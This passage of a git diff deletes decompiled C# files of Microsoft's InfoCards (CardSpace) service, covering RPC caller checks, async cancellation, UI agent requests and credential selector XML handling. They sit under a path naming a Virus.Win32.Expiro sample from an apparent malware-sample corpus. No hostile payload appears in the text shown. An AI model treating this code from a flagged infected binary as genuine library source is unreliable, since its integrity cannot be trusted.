(InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceUnableToValidateCallerToken", (object) ex.Message))); - } - return num; - } - - private static bool ValidateToken(IntPtr rpcItfHandle, WindowsIdentity rpcIdentity) - { - Process processFromRpcHandle = ClientRequest.GetCallingProcessFromRpcHandle(rpcItfHandle); - bool flag = NativeMcppMethods.CreateServiceExecutionIdentity(processFromRpcHandle).User.Value == rpcIdentity.User.Value; - if (flag) - flag = NativeMcppMethods.IsTokenValid(processFromRpcHandle); - return flag; - } - - protected override void OnDisposeAsSystem() - { - this.m_callerProcess = (Process) null; - object[] objArray = (object[]) null; - lock (this.SyncRoot) - { - if (this.m_asyncOps != null) - { - objArray = new object[this.m_asyncOps.Values.Count]; - this.m_asyncOps.Values.CopyTo((Array) objArray, 0); - } - } - if (objArray != null) - { - foreach (RpcAsyncResult rpcAsyncResult in objArray) - rpcAsyncResult.Dispose(); - } - InfoCardService.LifeTimeMonitor.RemoveClient(); - base.OnDisposeAsSystem(); - } - - protected void ExecuteCancelable( - ClientRequest.AsyncEntryCallback entry, - ClientRequest.AsyncEntryCallback cancel) - { - lock (this.m_serviceAsyncSyncRoot) - { - if (this.m_cancelled) - { - if (this.m_untrusted) - throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException()); - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - } - InfoCardTrace.Assert(null == this.m_serviceAsyncOperation, "Only a single cancelable service operation can be running at a time"); - this.m_serviceAsyncOperation = new ClientRequest.ServiceAsyncOperation(entry, cancel); - try - { - if (!ThreadPool.QueueUserWorkItem(InfoCardTrace.ThunkCallback(new WaitCallback(ClientRequest.ServiceAsyncEntry)), (object) this.m_serviceAsyncOperation)) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("UnableToQueueThreadpool"))); - this.m_serviceAsyncOperation.WaitForCompletion(); - if (this.m_serviceAsyncOperation.WasCancelled) - { - if (this.m_untrusted) - throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException()); - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - } - if (this.m_serviceAsyncOperation.ExecutionException != null) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(this.m_serviceAsyncOperation.ExecutionException.Message, this.m_serviceAsyncOperation.ExecutionException)); - } - finally - { - this.m_serviceAsyncOperation = (ClientRequest.ServiceAsyncOperation) null; - } - } - } - - protected void CancelServiceAsyncOperation(bool untrusted) - { - if (this.m_serviceAsyncOperation != null) - this.m_serviceAsyncOperation.Cancel(); - this.m_untrusted = untrusted; - this.m_cancelled = true; - } - - private static void ServiceAsyncEntry(object state) - { - ClientRequest.ServiceAsyncOperation serviceAsyncOperation = (ClientRequest.ServiceAsyncOperation) state; - try - { - serviceAsyncOperation.Execute(); - } - finally - { - serviceAsyncOperation.Complete(); - } - } - - internal delegate void AsyncEntryCallback(); - - private class ServiceAsyncOperation - { - private ClientRequest.AsyncEntryCallback m_cancelCallback; - private ClientRequest.AsyncEntryCallback m_entryCallback; - private ManualResetEvent m_syncEvent; - private Exception m_exception; - private bool m_complete; - private bool m_cancelled; - private object m_sync; - - public ServiceAsyncOperation( - ClientRequest.AsyncEntryCallback entry, - ClientRequest.AsyncEntryCallback cancel) - { - this.m_entryCallback = entry; - this.m_cancelCallback = cancel; - this.m_sync = new object(); - this.m_syncEvent = new ManualResetEvent(false); - } - - public bool WasCancelled => this.m_cancelled; - - public Exception ExecutionException => this.m_exception; - - public void Complete() - { - if (this.m_complete) - return; - lock (this.m_sync) - { - if (this.m_complete) - return; - this.m_complete = true; - this.m_syncEvent.Set(); - } - } - - public void WaitForCompletion() => this.m_syncEvent.WaitOne(); - - public void Execute() - { - lock (this.m_sync) - { - if (this.m_cancelled) - return; - this.m_complete = false; - this.m_syncEvent.Reset(); - } - try - { - this.m_entryCallback(); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - else - this.m_exception = ex; - } - } - - public void Cancel() - { - lock (this.m_sync) - { - if (this.m_complete) - return; - this.m_cancelled = true; - try - { - if (this.m_cancelCallback == null) - return; - this.m_cancelCallback(); - } - finally - { - this.Complete(); - } - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ClientUIRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ClientUIRequest.cs deleted file mode 100644 index 59719772..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ClientUIRequest.cs +++ /dev/null @@ -1,305 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ClientUIRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal abstract class ClientUIRequest : ClientRequest - { - private static object s_syncRoot = new object(); - private static ClientUIRequest.ProcessHandleDictionary s_connectedProcesses = new ClientUIRequest.ProcessHandleDictionary(); - private ManualResetEvent m_uiAgentDone; - private StoreConnection m_rootStoreReference; - private volatile InfoCardUIAgent m_uiAgent; - private InfoCardUIAgent.CallMode m_uiAgentMode; - private AccessibilityApplicationManager m_atManager = new AccessibilityApplicationManager(); - - public ClientUIRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - InfoCardUIAgent uiAgent, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - InfoCardUIAgent.CallMode callMode, - ExceptionList recoverableExceptions) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs, recoverableExceptions) - { - this.m_uiAgentMode = callMode; - this.m_uiAgentDone = new ManualResetEvent(false); - this.m_uiAgent = uiAgent; - this.m_uiAgent.SetRequest(this); - } - - public static int BindToService(IntPtr rpcHandle, out IntPtr context) - { - int service = 0; - context = IntPtr.Zero; - try - { - Process callingProcess = ClientRequest.GetCallingProcessFromRpcHandle(rpcHandle); - WindowsImpersonationContext impersonationContext = NativeMcppMethods.CreateServiceExecutionIdentity(callingProcess).Impersonate(); - try - { - int num = 0; - lock (ClientUIRequest.s_syncRoot) - { - try - { - try - { - num = ClientUIRequest.s_connectedProcesses.GetNewHandle(); - } - catch (IndexOutOfRangeException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("TooManyClientUIConnections"), (Exception) ex)); - } - ClientUIRequest.s_connectedProcesses[num] = callingProcess; - context = new IntPtr(num); - num = 0; - callingProcess = (Process) null; - } - finally - { - callingProcess?.Dispose(); - if (num != 0) - ClientUIRequest.s_connectedProcesses.Remove(num); - } - } - } - finally - { - impersonationContext.Undo(); - } - } - catch (InfoCardBaseException ex) - { - service = ex.NativeHResult; - } - return service; - } - - public static Process GetContextMapping(IntPtr context, bool clear) - { - int int32 = context.ToInt32(); - Process contextMapping = (Process) null; - lock (ClientUIRequest.s_syncRoot) - { - if (ClientUIRequest.s_connectedProcesses.ContainsHandle(int32)) - { - contextMapping = ClientUIRequest.s_connectedProcesses[int32]; - if (clear) - ClientUIRequest.s_connectedProcesses.Remove(int32); - } - } - return contextMapping; - } - - public static void RemoveAndDisposeContextMapping(IntPtr context) => ClientUIRequest.GetContextMapping(context, true)?.Dispose(); - - public InfoCardUIAgent.CallMode UIAgentMode => this.m_uiAgentMode; - - internal InfoCardUIAgent UIAgent => this.m_uiAgent; - - public int UIAgentPid => (int) this.UIAgent.ProcessId; - - public string UIAgentLogonSid => this.UIAgent.TrustedUserSid; - - public bool UIAgentActive => this.UIAgent != null && this.UIAgent.IsActive; - - protected override void OnInitializeAsUser() - { - base.OnInitializeAsUser(); - this.m_rootStoreReference = StoreConnection.CreateConnection(); - } - - protected override void PreProcessRequest() - { - try - { - base.PreProcessRequest(); - } - catch (UIAgentInitializationException ex) - { - throw; - } - catch (UserCancelledException ex) - { - throw; - } - catch (UntrustedRecipientException ex) - { - throw; - } - catch (UIAgentCrashedException ex) - { - throw new CommunicationException(SR.GetString("UIAgentCrash")); - } - catch (InfoCardBaseException ex) - { - throw this.ShowError((Exception) ex); - } - } - - protected override void ProcessRequest() - { - try - { - base.ProcessRequest(); - } - catch (UntrustedRecipientException ex) - { - throw; - } - catch (UIAgentInitializationException ex) - { - throw; - } - catch (UserCancelledException ex) - { - throw; - } - catch (UIAgentCrashedException ex) - { - throw new CommunicationException(SR.GetString("UIAgentCrash")); - } - catch (InfoCardBaseException ex) - { - throw this.ShowError((Exception) ex); - } - } - - protected override void PostProcessRequest() - { - try - { - base.PostProcessRequest(); - } - catch (InfoCardBaseException ex) - { - throw this.ShowError((Exception) ex); - } - } - - protected Exception ShowError(Exception ex) - { - if (this.m_uiAgent.IsShuttingDown) - return ex; - this.ProcessingException = ex; - this.m_uiAgent.ResetUIResult(); - if (ClientUIRequest.RequestResult.Untrusted == this.m_uiAgent.ShowUI(InfoCardUIAgent.CallMode.Error)) - ex = InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException()); - this.ProcessingException = (Exception) null; - return ex; - } - - protected void StartAndWaitForUIAgent() - { - switch (this.m_uiAgent.ShowUI(this.UIAgentMode)) - { - case ClientUIRequest.RequestResult.Ok: - break; - case ClientUIRequest.RequestResult.Cancel: - case ClientUIRequest.RequestResult.Error: - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - case ClientUIRequest.RequestResult.Untrusted: - throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException()); - case ClientUIRequest.RequestResult.UIFailedInitialization: - throw InfoCardTrace.ThrowHelperError((Exception) new UIAgentInitializationException()); - case ClientUIRequest.RequestResult.UICrashed: - throw InfoCardTrace.ThrowHelperError((Exception) new UIAgentCrashedException()); - default: - InfoCardTrace.Assert(false, "We should never get Pending or invalid state here"); - break; - } - } - - public void StartAccessibilityApplications(uint userATApplicationFlags) - { - if (this.m_uiAgent == null) - return; - string trustedUserSid = this.m_uiAgent.TrustedUserSid; - this.m_atManager.RestartOnInfoCardDesktop(userATApplicationFlags, this.m_uiAgent.TrustedUserToken, ref trustedUserSid, "WinSta0\\" + this.m_uiAgent.DesktopName, this.m_uiAgent.TsSessionId, this.CallerPid, this.RequestorIdentity); - } - - public bool RestartAccessibilityApplications() - { - this.m_atManager.Stop(); - return this.m_atManager.RestartOnUsersDesktop(this.CallerPid, "WinSta0\\Default", this.RequestorIdentity); - } - - public void StopAccessibilityApplications() => this.m_atManager.Stop(); - - public void UserCancel(bool untrusted) - { - lock (this.SyncRoot) - { - this.CancelServiceAsyncOperation(untrusted); - this.OnUserCancel(); - } - } - - protected virtual void OnUserCancel() - { - } - - private void ReleaseUIAgent() - { - lock (this.SyncRoot) - { - this.CheckIfAllAsyncOpsCompleted(); - this.StopAccessibilityApplications(); - if (this.m_uiAgent == null) - return; - this.m_uiAgent.ReleaseUI(); - this.m_uiAgent.ClearRequest(this); - this.m_uiAgent = (InfoCardUIAgent) null; - } - } - - protected override void OnDisposeAsUser() - { - base.OnDisposeAsUser(); - if (this.m_rootStoreReference == null) - return; - this.m_rootStoreReference.Close(); - this.m_rootStoreReference = (StoreConnection) null; - } - - protected override void OnDisposeAsSystem() - { - if (this.m_uiAgentDone != null) - { - this.m_uiAgentDone.Close(); - this.m_uiAgentDone = (ManualResetEvent) null; - } - ClientUIRequest.RemoveAndDisposeContextMapping(this.RpcHandle); - this.ReleaseUIAgent(); - base.OnDisposeAsSystem(); - } - - private class ProcessHandleDictionary : HandleDictionary - { - } - - public enum RequestResult - { - Pending, - Ok, - Cancel, - Untrusted, - Error, - UIFailedInitialization, - UICrashed, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CloseCryptoHandleRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CloseCryptoHandleRequest.cs deleted file mode 100644 index d01309bc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CloseCryptoHandleRequest.cs +++ /dev/null @@ -1,41 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CloseCryptoHandleRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class CloseCryptoHandleRequest : ClientRequest - { - private int m_cryptoSession; - - public CloseCryptoHandleRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - this.m_cryptoSession = new InfoCardBinaryReader(this.InArgs).ReadInt32(); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - } - - protected override void OnMarshalOutArgs() - { - } - - protected override void OnProcess() => CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User).Dispose(); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CommunicationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CommunicationException.cs deleted file mode 100644 index 8f2e1baa..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CommunicationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CommunicationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class CommunicationException : InfoCardBaseException - { - private const int HRESULT = -1073413888; - - public CommunicationException() - : base(-1073413888) - { - } - - public CommunicationException(string message) - : base(-1073413888, message) - { - } - - public CommunicationException(string message, Exception inner) - : base(-1073413888, message, inner) - { - } - - protected CommunicationException(SerializationInfo si, StreamingContext sc) - : base(-1073413888, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Constants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Constants.cs deleted file mode 100644 index 30aa5ab5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Constants.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Constants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -namespace Microsoft.InfoCards -{ - internal static class Constants - { - internal static class Maxima - { - public const int IssuerKey = 16384; - public const int LogoLength = 1048576; - public const int SaltLength = 1024; - public const int PinHashLength = 1024; - public const int TokenTypes = 32; - public const int CreationParameters = 128; - public const int FileNameLength = 259; - public const int SupportedClaimsLength = 128; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CorruptStoreException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CorruptStoreException.cs deleted file mode 100644 index 19b0aec6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CorruptStoreException.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CorruptStoreException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class CorruptStoreException : Exception - { - public CorruptStoreException() - { - } - - public CorruptStoreException(string message) - { - } - - public CorruptStoreException(string message, Exception inner) - { - } - - protected CorruptStoreException(SerializationInfo si, StreamingContext sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CreateCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CreateCardRequest.cs deleted file mode 100644 index a66a62ca..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CreateCardRequest.cs +++ /dev/null @@ -1,52 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CreateCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Globalization; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class CreateCardRequest : UIAgentRequest - { - private InfoCardPolicy m_policy; - private InfoCard m_card; - - public CreateCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - this.m_policy = this.GetPolicy(); - this.m_card = InfoCard.NewCard(new CultureInfo(this.ParentRequest.UserLanguage)); - } - - protected override void OnMarshalOutArgs() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_card.AgentSerialize(this.OutArgs, this.ParentRequest is GetTokenRequest, this.m_policy, connection, new CultureInfo(this.ParentRequest.UserLanguage)); - } - finally - { - connection.Close(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CredentialSelector.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CredentialSelector.cs deleted file mode 100644 index a6e3c370..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CredentialSelector.cs +++ /dev/null @@ -1,252 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CredentialSelector -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; -using System.Xml; -using System.Xml.Serialization; - -namespace Microsoft.InfoCards -{ - internal class CredentialSelector : IXmlSerializable - { - private CredentialSelectorType m_type; - private byte[] m_data; - - public CredentialSelector() => this.m_type = CredentialSelectorType.InvalidSelector; - - public CredentialSelectorType Type - { - get => this.m_type; - set => this.m_type = value; - } - - public bool IsComplete() => CredentialSelectorType.InvalidSelector != this.m_type && this.m_data != null && this.m_data.Length > 0; - - public string GetStringWithoutNullTerminator() - { - if (this.m_data == null) - return (string) null; - string str = Encoding.Unicode.GetString(this.m_data); - return str.Substring(0, str.Length - 1); - } - - public byte[] GetBytes() - { - if (this.m_data == null) - return (byte[]) null; - byte[] destinationArray = new byte[this.m_data.Length]; - Array.Copy((Array) this.m_data, 0, (Array) destinationArray, 0, this.m_data.Length); - return destinationArray; - } - - public void SetValue(string data) => this.m_data = Encoding.Unicode.GetBytes(data + "\0"); - - public void SetValue(byte[] data, int index, int length) - { - byte[] destinationArray = new byte[length]; - Array.Copy((Array) data, index, (Array) destinationArray, 0, length); - this.m_data = destinationArray; - } - - public void Serialize(BinaryWriter writer) - { - writer.Write((int) this.m_type); - Utility.SerializeBytes(writer, this.m_data); - } - - public void Deserialize(BinaryReader reader) - { - this.m_type = (CredentialSelectorType) reader.ReadInt32(); - this.m_data = reader.ReadBytes(reader.ReadInt32()); - } - - public System.Xml.Schema.XmlSchema GetSchema() => (System.Xml.Schema.XmlSchema) null; - - public void WriteXml(XmlWriter writer) - { - switch (this.m_type) - { - case CredentialSelectorType.X509CertificateIssuerNameSelector: - this.WriteX509CertificateIssuerNameSelector(writer); - break; - case CredentialSelectorType.X509CertificateIssuerSerialNoSelector: - this.WriteX509CertificateIssuerSerialNoSelector(writer); - break; - case CredentialSelectorType.X509CertificateKeyHashSelector: - this.WriteX509CertificateKeyHashSelector(writer); - break; - case CredentialSelectorType.UserNameSelector: - this.WriteUserNameSelector(writer); - break; - case CredentialSelectorType.SelfIssuedCardIdSelector: - this.WriteSelfIssuedCardIdSelector(writer); - break; - case CredentialSelectorType.UserPrincipalNameSelector: - this.WriteUserPrincipalNameSelector(writer); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - } - } - - public void ReadXml(XmlReader reader) - { - switch (reader.LocalName) - { - case "Username": - this.ReadUserNameSelector(reader); - break; - case "X509IssuerName": - this.ReadX509IssuerNameSelector(reader); - break; - case "X509SerialNumber": - this.ReadX509IssuerSerialNumberSelector(reader); - break; - case "KeyIdentifier": - this.ReadX509KeyIdentifierSelector(reader); - break; - case "PrivatePersonalIdentifier": - this.ReadSelfIssuedSelector(reader); - break; - case "UserPrincipalName": - this.ReadUserPrincipalNameSelector(reader); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - } - } - - private void WriteUserNameSelector(XmlWriter writer) - { - writer.WriteStartElement("Username", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.GetStringWithoutNullTerminator()); - writer.WriteEndElement(); - } - - private void WriteUserPrincipalNameSelector(XmlWriter writer) - { - writer.WriteStartElement("UserPrincipalName", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.GetStringWithoutNullTerminator()); - writer.WriteEndElement(); - } - - private void WriteX509CertificateIssuerNameSelector(XmlWriter writer) - { - writer.WriteStartElement("X509IssuerName", "http://www.w3.org/2000/09/xmldsig#"); - string withoutNullTerminator = this.GetStringWithoutNullTerminator(); - if (!string.IsNullOrEmpty(withoutNullTerminator)) - writer.WriteString(withoutNullTerminator); - writer.WriteEndElement(); - } - - private void WriteX509CertificateIssuerSerialNoSelector(XmlWriter writer) - { - writer.WriteStartElement("X509SerialNumber", "http://www.w3.org/2000/09/xmldsig#"); - BigInt bigInt = new BigInt(this.GetBytes()); - writer.WriteString(bigInt.ToDecimal()); - writer.WriteEndElement(); - } - - private void WriteX509CertificateKeyHashSelector(XmlWriter writer) - { - writer.WriteStartElement("KeyIdentifier", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"); - writer.WriteAttributeString("ValueType", (string) null, "http://docs.oasis-open.org/wss/2004/xx/oasis-2004xx-wss-soap-message-security-1.1#ThumbprintSHA1"); - writer.WriteString(Convert.ToBase64String(this.GetBytes(), Base64FormattingOptions.None)); - writer.WriteEndElement(); - } - - private void WriteSelfIssuedCardIdSelector(XmlWriter writer) - { - writer.WriteStartElement("PrivatePersonalIdentifier", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - string withoutNullTerminator = this.GetStringWithoutNullTerminator(); - if (!string.IsNullOrEmpty(withoutNullTerminator)) - writer.WriteString(withoutNullTerminator); - writer.WriteEndElement(); - } - - private void ReadUserNameSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("Username" != reader.LocalName || "http://schemas.xmlsoap.org/ws/2005/05/identity" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.UserNameSelector; - string data = reader.ReadElementContentAsString().Trim(); - if (string.IsNullOrEmpty(data)) - return; - this.SetValue(data); - } - - private void ReadUserPrincipalNameSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("UserPrincipalName" != reader.LocalName || "http://schemas.xmlsoap.org/ws/2005/05/identity" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.UserPrincipalNameSelector; - } - - private void ReadX509IssuerNameSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("X509IssuerName" != reader.LocalName || "http://www.w3.org/2000/09/xmldsig#" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.X509CertificateIssuerNameSelector; - string data = reader.ReadElementContentAsString().Trim(); - if (string.IsNullOrEmpty(data)) - return; - this.SetValue(data); - } - - private void ReadX509IssuerSerialNumberSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("X509SerialNumber" != reader.LocalName || "http://www.w3.org/2000/09/xmldsig#" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.X509CertificateIssuerSerialNoSelector; - BigInt bigInt = new BigInt(); - string decNum = reader.ReadElementContentAsString().Trim(); - try - { - if (string.IsNullOrEmpty(decNum)) - return; - bigInt.FromDecimal(decNum); - byte[] byteArray = bigInt.ToByteArray(); - this.SetValue(byteArray, 0, byteArray.Length); - } - catch (FormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidSerialNumber"))); - } - } - - private void ReadX509KeyIdentifierSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("KeyIdentifier" != reader.LocalName || "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.X509CertificateKeyHashSelector; - string attribute = reader.GetAttribute("ValueType"); - if (string.IsNullOrEmpty(attribute)) - attribute = reader.GetAttribute("ValueType", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"); - if ("http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1" != attribute && 